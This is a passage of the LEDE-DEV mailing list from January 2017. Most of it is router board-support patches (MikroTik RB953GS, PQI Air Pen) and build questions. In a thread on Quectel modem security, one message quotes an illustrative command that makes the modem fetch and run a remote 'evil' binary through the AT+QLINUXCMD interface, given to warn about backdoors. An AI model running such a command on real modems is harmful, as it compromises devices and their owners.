(the 3 ports report link status, didn't configure VLANs)
Both miniPCIe slots are confirmed working, including their status LEDs
Not tested: reset button, USB port, SFP cages, AR9558 radio.

Signed-off-by: Gui Iribarren <gui at altermundi.net>
---
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  12 +++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-rb953.c      | 114 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/mikrotik/config-default        |   1 +
 6 files changed, 130 insertions(+)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-rb953.c

diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index 4b2f736..5a64cce 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -144,6 +144,7 @@ CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RB91X is not set
 # CONFIG_ATH79_MACH_RB922 is not set
 # CONFIG_ATH79_MACH_RB95X is not set
+# CONFIG_ATH79_MACH_RB953GS is not set
 # CONFIG_ATH79_MACH_RBSXTLITE is not set
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 21d6b51..00f2d33 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -869,6 +869,18 @@ config ATH79_MACH_RB95X
        select ATH79_DEV_USB
        select ATH79_ROUTERBOOT
 
+config ATH79_MACH_RB953GS
+	bool "MikroTik RouterBOARD 953GS support"
+	select SOC_QCA955X
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_NFC
+	select ATH79_DEV_SPI
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+	select ATH79_ROUTERBOOT
+
 config ATH79_MACH_RB2011
 	bool "MikroTik RouterBOARD 2011 support"
 	select SOC_AR934X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 6384c06..d7cf8e4 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -148,6 +148,7 @@ obj-$(CONFIG_ATH79_MACH_RB750)			+= mach-rb750.o
 obj-$(CONFIG_ATH79_MACH_RB91X)			+= mach-rb91x.o
 obj-$(CONFIG_ATH79_MACH_RB922)			+= mach-rb922.o
 obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
+obj-$(CONFIG_ATH79_MACH_RB953GS)		+= mach-rb953.o
 obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb953.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb953.c
new file mode 100644
index 0000000..bb81cf1
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb953.c
@@ -0,0 +1,114 @@
+/*
+ *  MikroTik RouterBOARD 953GS-5HnT-RP support
+ *
+ *  Copyright (C) 2016 Gui Iribarren <gui at altermundi.net>
+ *
+ * Based on the Qualcomm Atheros AP135/RB953 reference board support code
+ *   Copyright (c) 2012 Qualcomm Atheros
+ *
+ *  This program is free software; you can redistribute it and/or modify it
+ *  under the terms of the GNU General Public License version 2 as published
+ *  by the Free Software Foundation.
+ */
+
+#include <linux/platform_device.h>
+#include <linux/ar8216_platform.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-eth.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define RB953_MAC0_OFFSET		0
+#define RB953_MAC1_OFFSET		6
+#define RB953_WMAC_CALDATA_OFFSET	0x1000
+#define RB953_PCIE_CALDATA_OFFSET	0x5000
+
+static struct ar8327_pad_cfg rb953gs_ar8327_pad0_cfg;
+static struct ar8327_pad_cfg rb953gs_ar8327_pad6_cfg;
+
+static struct ar8327_platform_data rb953gs_ar8327_data = {
+	.pad0_cfg = &rb953gs_ar8327_pad0_cfg,
+	.pad6_cfg = &rb953gs_ar8327_pad6_cfg,
+	.port0_cfg = {
+		.force_link = 1,
+		.speed = AR8327_PORT_SPEED_1000,
+		.duplex = 1,
+		.txpause = 1,
+		.rxpause = 1,
+	},
+	.port6_cfg = {
+		.force_link = 1,
+		.speed = AR8327_PORT_SPEED_1000,
+		.duplex = 1,
+		.txpause = 1,
+		.rxpause = 1,
+	},
+};
+
+static struct mdio_board_info rb953gs_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 0,
+		.platform_data = &rb953gs_ar8327_data,
+	},
+};
+
+static void __init rb953gs_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
+	/* GMAC0 of the AR8327 switch is connected to GMAC1 via SGMII */
+	rb953gs_ar8327_pad0_cfg.mode = AR8327_PAD_MAC_SGMII;
+	rb953gs_ar8327_pad0_cfg.sgmii_delay_en = true;
+
+	/* GMAC6 of the AR8327 switch is connected to GMAC0 via RGMII */
+	rb953gs_ar8327_pad6_cfg.mode = AR8327_PAD_MAC_RGMII;
+	rb953gs_ar8327_pad6_cfg.txclk_delay_en = true;
+	rb953gs_ar8327_pad6_cfg.rxclk_delay_en = true;
+	rb953gs_ar8327_pad6_cfg.txclk_delay_sel = AR8327_CLK_DELAY_SEL1;
+	rb953gs_ar8327_pad6_cfg.rxclk_delay_sel = AR8327_CLK_DELAY_SEL2;
+
+	ath79_eth0_pll_data.pll_1000 = 0x56000000;
+	ath79_eth1_pll_data.pll_1000 = 0x03000101;
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + RB953_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_setup_qca955x_eth_cfg(QCA955X_ETH_CFG_RGMII_EN);
+
+	ath79_register_mdio(0, 0x0);
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + RB953_MAC0_OFFSET, 0);
+
+	mdiobus_register_board_info(rb953gs_mdio0_info,
+				    ARRAY_SIZE(rb953gs_mdio0_info));
+
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = BIT(0);
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected tot eh SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_RB_953GS, "953gs", "MikroTik RouterBOARD 953GS-5HnT-RP", rb953gs_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index 9402185..d8c6373 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -164,6 +164,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RB_922GS,			/* Mikrotik RouterBOARD 911/922GS boards */
 	ATH79_MACH_RB_951G,			/* Mikrotik RouterBOARD 951G */
 	ATH79_MACH_RB_951U,			/* Mikrotik RouterBOARD 951Ui-2HnD */
+	ATH79_MACH_RB_953GS,			/* Mikrotik RouterBOARD 953GS-5HnT-RP */
 	ATH79_MACH_RB_SXTLITE2ND,		/* Mikrotik RouterBOARD SXT Lite 2nD */
 	ATH79_MACH_RB_SXTLITE5ND,		/* Mikrotik RouterBOARD SXT Lite 5nD */
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
diff --git a/target/linux/ar71xx/mikrotik/config-default b/target/linux/ar71xx/mikrotik/config-default
index 3e7cfd5..04e74d9 100644
--- a/target/linux/ar71xx/mikrotik/config-default
+++ b/target/linux/ar71xx/mikrotik/config-default
@@ -67,6 +67,7 @@ CONFIG_ATH79_MACH_RB750=y
 CONFIG_ATH79_MACH_RB91X=y
 CONFIG_ATH79_MACH_RB922=y
 CONFIG_ATH79_MACH_RB95X=y
+CONFIG_ATH79_MACH_RB953GS=y
 CONFIG_ATH79_MACH_RBSXTLITE=y
 # CONFIG_ATH79_MACH_RE450 is not set
 # CONFIG_ATH79_MACH_RW2458N is not set
-- 
2.1.4


From ynezz at true.cz  Sun Jan  8 16:01:39 2017
From: ynezz at true.cz (Petr =?iso-8859-2?Q?=A9tetiar?=)
Date: Mon, 9 Jan 2017 01:01:39 +0100
Subject: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was:
	Re:	 Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV,
	3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
In-Reply-To: <87zij1jj8z.fsf@miraculix.mork.no>
References: <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net> <20170107234422.GB5048@ibawizard.net>
 <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>
 <20170108192623.GD5048@ibawizard.net> <87zij1jj8z.fsf@miraculix.mork.no>
Message-ID: <20170109000139.GE5048@ibawizard.net>

Bj?rn Mork <bjorn at mork.no> [2017-01-08 23:10:20]:

> The output above comes from the Sierra Wireless EM7455 originally delivered
> as part of my Lenovo X1 Carbon, running bog standard firmare.

Oops. How did you get into the shell of your modem? Is it a root shell also?

Seems like some serial line filtering might be needed in the kernel, to limit
access to such backdoor commands like 'AT+QLINUXCMD' only to certain users :-)

It's like a bad dream, really.

> Trying not to kill the optimism here, but...  But this is a project with
> about the same complexity as replacing Android on a phone.

It's not that complex, it's missing the UI part, WiFi, BLE etc. :-) But I
understand the complexity, that's why I'm trying to bring some attention into
this project, probably help little bit also.

> And IMHO it's rather pointless unless you do something about the "baseband"
> image.

It's not pointless for me. We do the same with our routers, even if we still
can't control the WiFi binary blob firmwares in majority of them. I would be
happy if I could build custom firmware image for my modem using LEDE. Why not
use the modem as the only CPU in the system? Quectel modems have quite a long
EOL, making it quite viable target.

> Which is probably not feasible due to the complete lack of any source
> code or documentation from Qualcomm.

Yep, time will show :-)

-- ynezz


From gui at altermundi.net  Sun Jan  8 16:09:39 2017
From: gui at altermundi.net (Gui Iribarren)
Date: Mon, 9 Jan 2017 01:09:39 +0100
Subject: [LEDE-DEV] questions about RB953GS on LEDE
Message-ID: <1fd7b133-8eb6-68da-fc0c-7a8f4b7edfbb@altermundi.net>

So, I have two issues with porting LEDE to this mikrotik board
(patch just sent in another thread)

on one hand, console is not initialized properly in the default
initramfs.elf

the kernel cmdline is missing "console=ttyS0,115200", and so the console
is disabled during boot.

to workaround it, i did this:

index 04e74d9..aa032c3 100644
--- a/target/linux/ar71xx/mikrotik/config-default
+++ b/target/linux/ar71xx/mikrotik/config-default
@@ -133,7 +133,7 @@ CONFIG_ATH79_MACH_RBSXTLITE=y
 # CONFIG_ATH79_MACH_ZCN_1523H is not set
 # CONFIG_ATH79_NVRAM is not set
 CONFIG_ATH79_ROUTERBOOT=y
-CONFIG_CMDLINE="rootfstype=yaffs noinitrd"
+CONFIG_CMDLINE="rootfstype=yaffs noinitrd  console=ttyS0,115200"
 CONFIG_GPIO_74X164=y
 CONFIG_GPIO_LATCH=y
 # CONFIG_JFFS2_FS is not set

but clearly that's not upstreamable :P

possibly i should update this file?
target/linux/ar71xx/patches-4.4/701-MIPS-ath79-add-routerboard-detection.patch
but since it's a patch, i guess i should use quilt (am i on the right
track?)


on the other hand, the mtd partitions are apparently not being detected?
(this is the first time i run openwrt/lede on a mikrotik)
here's the complete bootlog, and the last two lines show only mtd0
http://pastebin.com/uxRzvt0D

while according to this
https://wiki.openwrt.org/toh/mikrotik/common

i should be seeing at least kernel and rootfs

any pointers?

(i can't proceed with flashing to NAND, stuck at TFTP boot)

thanks a lot,

gui


From tochiro.srchack at gmail.com  Sun Jan  8 17:41:26 2017
From: tochiro.srchack at gmail.com (YuheiOKAWA)
Date: Mon,  9 Jan 2017 10:41:26 +0900
Subject: [LEDE-DEV] [PATCH] ar71xx: add support for PQI Air Pen
Message-ID: <1483926086-29792-1-git-send-email-tochiro.srchack@gmail.com>

SoC: AR9331
Ethernet x1, Wireless 2.4G, uSD card slot x1.
USB Power, include Li-Po Battery.

Signed-off-by: YuheiOKAWA <tochiro.srchack at gmail.com>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |  4 +
 .../linux/ar71xx/base-files/etc/board.d/02_network |  1 +
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |  3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |  1 +
 target/linux/ar71xx/config-4.4                     |  1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   | 10 +++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |  1 +
 .../files/arch/mips/ath79/mach-pqi-air-pen.c       | 99 ++++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |  1 +
 target/linux/ar71xx/image/generic.mk               | 10 +++
 10 files changed, 131 insertions(+)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 5a2bf0c..14d9b3c 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -427,6 +427,10 @@ omy-x1)
 	ucidef_set_led_default "power" "POWER" "omy:green:power" "1"
 	ucidef_set_led_default "wan" "WAN" "omy:green:wan" "eth0"
 	;;
+pqi-air-pen)
+	ucidef_set_led_wlan "wlan" "WLAN" "pqi-air-pen:blue:wlan" "phy0tpt"
+	ucidef_set_led_default "wps" "WPS" "pqi-air-pen:blue:wps" "0"
+	;;
 qihoo-c301)
 	ucidef_set_led_wlan "wlan2g" "WLAN2G" "qihoo:red:status" "phy1tpt"
 	;;
diff --git a/target/linux/ar71xx/base-files/etc/board.d/02_network b/target/linux/ar71xx/base-files/etc/board.d/02_network
index 66274db..89ab6f5 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/02_network
+++ b/target/linux/ar71xx/base-files/etc/board.d/02_network
@@ -83,6 +83,7 @@ ar71xx_setup_interfaces()
 	mr900|\
 	mr900v2|\
 	mynet-rext|\
+	pqi-air-pen|\
 	rb-411|\
 	rb-911g-2hpnd|\
 	rb-911g-5hpacd|\
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index 1b30f4d..33925eb 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -775,6 +775,9 @@ ar71xx_board_detect() {
 	*"PB44 reference board")
 		name="pb44"
 		;;
+	*"PQI Air Pen")
+		name="pqi-air-pen"
+		;;
 	*"Qihoo 360 C301")
 		name="qihoo-c301"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 6341a31..c232ea9 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -222,6 +222,7 @@ platform_check_image() {
 	nanostation-m-xw|\
 	nanostation-m|\
 	nbg460n_550n_550nh|\
+	pqi-air-pen|\
 	rocket-m-ti|\
 	rocket-m-xw|\
 	rocket-m|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index 4b2f736..129af79 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -136,6 +136,7 @@ CONFIG_ATH79_MACH_OMY_X1=y
 CONFIG_ATH79_MACH_ONION_OMEGA=y
 CONFIG_ATH79_MACH_PB42=y
 CONFIG_ATH79_MACH_PB44=y
+CONFIG_ATH79_MACH_PQI_AIR_PEN=y
 CONFIG_ATH79_MACH_QIHOO_C301=y
 CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RB2011 is not set
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 21d6b51..902a7e9 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -1734,6 +1734,16 @@ config ATH79_MACH_CARAMBOLA2
 	select ATH79_DEV_USB
 	select ATH79_DEV_WMAC
 
+config ATH79_MACH_PQI_AIR_PEN
+	bool "PQI Air Pen"
+	select SOC_AR933X
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_CF_E316N_V2
 	bool "COMFAST CF-E316N v2 support"
 	select SOC_AR934X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 6384c06..2280483 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -65,6 +65,7 @@ obj-$(CONFIG_ATH79_MACH_C60)			+= mach-c60.o
 obj-$(CONFIG_ATH79_MACH_CAP324)			+= mach-cap324.o
 obj-$(CONFIG_ATH79_MACH_CAP4200AG)		+= mach-cap4200ag.o
 obj-$(CONFIG_ATH79_MACH_CARAMBOLA2)		+= mach-carambola2.o
+obj-$(CONFIG_ATH79_MACH_PQI_AIR_PEN)		+= mach-pqi-air-pen.o
 obj-$(CONFIG_ATH79_MACH_CF_E316N_V2)		+= mach-cf-e316n-v2.o
 obj-$(CONFIG_ATH79_MACH_CF_E320N_V2)		+= mach-cf-e316n-v2.o
 obj-$(CONFIG_ATH79_MACH_CF_E380AC_V1)		+= mach-cf-e316n-v2.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c
new file mode 100644
index 0000000..f8803c4
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c
@@ -0,0 +1,99 @@
+/*
+ *  PQI Air Pen stick support
+ *
+ *  Copyright (C) 2016 YuheiOKAWA <tochiro.srchack at gmail.com>
+ *
+ *  This program is free software; you can redistribute it and/or modify it
+ *  under the terms of the GNU General Public License version 2 as published
+ *  by the Free Software Foundation.
+*/
+
+#include <linux/gpio.h>
+
+#include <asm/mach-ath79/ath79.h>
+
+#include "common.h"
+#include "dev-eth.h"
+#include "dev-gpio-buttons.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define PQI_AIR_PEN_GPIO_LED_WLAN		0
+#define PQI_AIR_PEN_GPIO_LED_WPS		23
+
+#define PQI_AIR_PEN_GPIO_BTN_WPS		22
+#define PQI_AIR_PEN_GPIO_BTN_RESET		12
+
+#define PQI_AIR_PEN_KEYS_POLL_INTERVAL   20	/* msecs */
+#define PQI_AIR_PEN_KEYS_DEBOUNCE_INTERVAL	(3 * PQI_AIR_PEN_KEYS_POLL_INTERVAL)
+
+#define PQI_AIR_PEN_WMAC_CALDATA_OFFSET         0x1000
+#define PQI_AIR_PEN_LAN_MAC_OFFSET		0x1002
+#define PQI_AIR_PEN_WMAC_MAC_OFFSET		0x1002
+
+static struct gpio_led pqi_air_pen_leds_gpio[] __initdata = {
+	{
+		.name = "pqi-air-pen:blue:wlan",
+		.gpio = PQI_AIR_PEN_GPIO_LED_WLAN,
+		.active_low = 0,
+	},
+	{
+		.name = "pqi-air-pen:blue:wps",
+		.gpio = PQI_AIR_PEN_GPIO_LED_WPS,
+		.active_low = 0,
+	},
+};
+
+static struct gpio_keys_button pqi_air_pen_gpio_keys[] __initdata = {
+	{
+		.desc = "wps",
+		.type = EV_KEY,
+		.code = KEY_WPS_BUTTON,
+		.debounce_interval = PQI_AIR_PEN_KEYS_DEBOUNCE_INTERVAL,
+		.gpio = PQI_AIR_PEN_GPIO_BTN_WPS,
+		.active_low = 0,
+	},
+	{
+		.desc = "reset",
+		.type = EV_KEY,
+		.code = KEY_RESTART,
+		.debounce_interval = PQI_AIR_PEN_KEYS_DEBOUNCE_INTERVAL,
+		.gpio = PQI_AIR_PEN_GPIO_BTN_RESET,
+		.active_low = 0,
+	},
+};
+
+static void __init pqi_air_pen_setup(void)
+{
+	/* ART base address */
+	u8 *art = (u8 *) KSEG1ADDR(0x9f050000);
+
+	/* register flash. */
+	ath79_register_m25p80(NULL);
+
+	/* register wireless mac with cal data */
+	ath79_register_wmac(art + PQI_AIR_PEN_WMAC_CALDATA_OFFSET, art + PQI_AIR_PEN_WMAC_MAC_OFFSET);
+
+	/* false PHY_SWAP and PHY_ADDR_SWAP bits */
+	ath79_setup_ar933x_phy4_switch(false, false);
+
+	/* register gpio LEDs and keys */
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(pqi_air_pen_leds_gpio),
+				 pqi_air_pen_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, PQI_AIR_PEN_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(pqi_air_pen_gpio_keys),
+					pqi_air_pen_gpio_keys);
+
+	/* enable usb */
+	ath79_register_usb();
+	
+	/* register eth0 as LAN */
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + PQI_AIR_PEN_LAN_MAC_OFFSET, 0);
+	ath79_register_mdio(0, 0x0);
+	ath79_register_eth(0);
+}
+
+MIPS_MACHINE(ATH79_MACH_PQI_AIR_PEN, "PQI-AIR-PEN", "PQI Air Pen",pqi_air_pen_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index 9402185..689a0a1 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -50,6 +50,7 @@ enum ath79_mach_type {
 	ATH79_MACH_CAP324,			/* PowerCloud CAP324 */
 	ATH79_MACH_CAP4200AG,			/* Senao CAP4200AG */
 	ATH79_MACH_CARAMBOLA2,			/* 8devices Carambola2 */
+	ATH79_MACH_PQI_AIR_PEN,			/* PQI Air Pen */
 	ATH79_MACH_CF_E316N_V2,			/* COMFAST CF-E316N v2 */
 	ATH79_MACH_CF_E320N_V2,			/* COMFAST CF-E320N v2 */
 	ATH79_MACH_CF_E380AC_V1,		/* COMFAST CF-E380AC v1 */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index e2867e6..b0cbc57 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -27,6 +27,16 @@ define Device/carambola2
 endef
 TARGET_DEVICES += carambola2
 
+define Device/pqi-air-pen
+  DEVICE_TITLE := PQI Air Pen
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb2 kmod-usb-storage
+  BOARDNAME = PQI-AIR-PEN
+  IMAGE_SIZE = 7744k
+  CONSOLE = ttyATH0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,64k(art)ro,64k(NVRAM)ro,7680k(firmware),64k(CONF)
+endef
+TARGET_DEVICES += pqi-air-pen
+
 define Device/cf-e316n-v2
   DEVICE_TITLE := COMFAST CF-E316N v2
   BOARDNAME = CF-E316N-V2
-- 
1.9.1



From malaakso at elisanet.fi  Sun Jan  8 23:44:17 2017
From: malaakso at elisanet.fi (Matti Laakso)
Date: Mon, 9 Jan 2017 07:44:17 +0000
Subject: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was:
	Re:	 Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV,
	3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
In-Reply-To: <20170108192623.GD5048@ibawizard.net>
References: <20161208140412.GC17320@ibawizard.net>
 <877f7asbft.fsf@miraculix.mork.no>
 <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net> <20170107234422.GB5048@ibawizard.net>
 <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>
 <20170108192623.GD5048@ibawizard.net>
Message-ID: <AM5PR0202MB253291D1470A1BE64EEC5C6E8C640@AM5PR0202MB2532.eurprd02.prod.outlook.com>

> Adding laforge and zecke to the Cc loop.
>
> Matti Laakso <malaakso at elisanet.fi> [2017-01-08 14:39:34]:
>
> Hi,
>
> > I'm almost done with checking the connection state using a 
> > proto_run_command with a simple script running uqmi --get-data-status 
> > periodically. If the check fails, the script dies and netifd should 
> > restart the connection. Then we hopefully don't need autoconnect anymore.
>
> I'm not using the autoconnect feature anymore, I'm using simple custom script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the source of truth about the connection status, I think it's more reliable to use ping, wget/curl or some other more appropriate and battle tested solution.
>
> Simply said, uqmi can lie to you about the connection status. It's just some qmuxd[2] after all using dozen threads answering you :-) What can probably go wrong, right?

Sure, but to replace autoconnect it should only be at least as reliable as autoconnect. Depending on your network environment there might not be anything to ping, let alone any servers that would answer curl. This kind of connection monitoring is always quite custom and its place is not in netifd.

>
> > > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", 
> > > which makes a lot of things crystal clear :-)
> >
> > That's an interesting talk, thanks for the note!
>
> Indeed, it's very interesting and very scary. This modems are quite powerful devices, usually equiped with very good, but limited uplink connection, still making it ideal candidate for DDoS botnet for example, like any other router, camera or IoT device. It's just a matter of time we see something like this in the wild.  The probability is very high, 1.5M lines of just kernel code done probably in a hurry, without proper review, this is very big attack surface.
>
> It's better to not think about the system in the modem as a nice place for a hideout for a very persistent backdoor to our systems, surviving even firmware updates.  Just imagine some trojan inside the router running following on the modem's AT command serial interface:
>
>    AT+QLINUXCMD=wget http://something/evil && ./evil
>
> Guys at Osmocom already started working on completely open and more secure firmware using OpenEmbedded, but I would like to see it supported in LEDE also, probably with more mainline kernel if possible. Still, it's quite strange to see such a big embedded systems running in the 4G modem. It seems like 2017 is era of SITSes, Systems In The Systems.

Also several Huawei modems have an Android system (with proprietary kernel modules parsing AT-commands etc.) running in one core between the USB host and the actual modem firmware in the second core (VxWorks). Security wise I'd be more worried about the VxWorks part.

Matti


From dev at kresin.me  Mon Jan  9 00:45:13 2017
From: dev at kresin.me (Mathias Kresin)
Date: Mon, 9 Jan 2017 09:45:13 +0100
Subject: [LEDE-DEV] per-device rootfs generated on buildbots
In-Reply-To: <20170108143550.GA1770@makrotopia.org>
References: <20170108143550.GA1770@makrotopia.org>
Message-ID: <021b3767-bd42-cc66-2760-c7211ebf5633@kresin.me>

08.01.2017 15:35, Daniel Golle:
> Hi!
>
> While testing the current snapshot builds I realized that for some
> reason the additional default packages to be included for each board
> aren't selected, ie. DEVICE_PACKAGES seems to be ignored in snapshot
> builds.
> Ie. eventhough kmod-rtc-ds1307 is set in DEVICE_PACKAGES for the akitio
> board (oxnas), the package doesn't end up in the generated rootfs and
> initramfs image for that device. Looking at config.seed, everything
> looks fine:
> CONFIG_TARGET_MULTI_PROFILE=y
> CONFIG_TARGET_ALL_PROFILES=y
> ...
> CONFIG_TARGET_PER_DEVICE_ROOTFS=y
>
> Any idea? Does that happen on purpose? Is it a bug or a feature?
>
> Cheers
>
> Daniel

Hey Daniel,

I'm not sure if you are talking about a specific image or all build 
akitio images.

For initramfs images only the DEFAULT_PACKAGES are included if 
TARGET_PER_DEVICE_ROOTFS is set. I hit this limitation/bug already and 
according to felix it isn't easily fixable. I can not remember all the 
details but his recommendation was to move essential packages to 
DEFAULT_PACKAGES.

In my case the switch driver was added via DEVICE_PACKAGES, finally 
missing in the initramfs and the network did not worked. Since the 
initramfs image in question is only required for the first install, it 
was enough to move the switch driver to the DEFAULT_PACKAGES. All the 
other missing (device) packages are not relevant for the first install 
in my case.

Mathias


From bjorn at mork.no  Mon Jan  9 01:01:18 2017
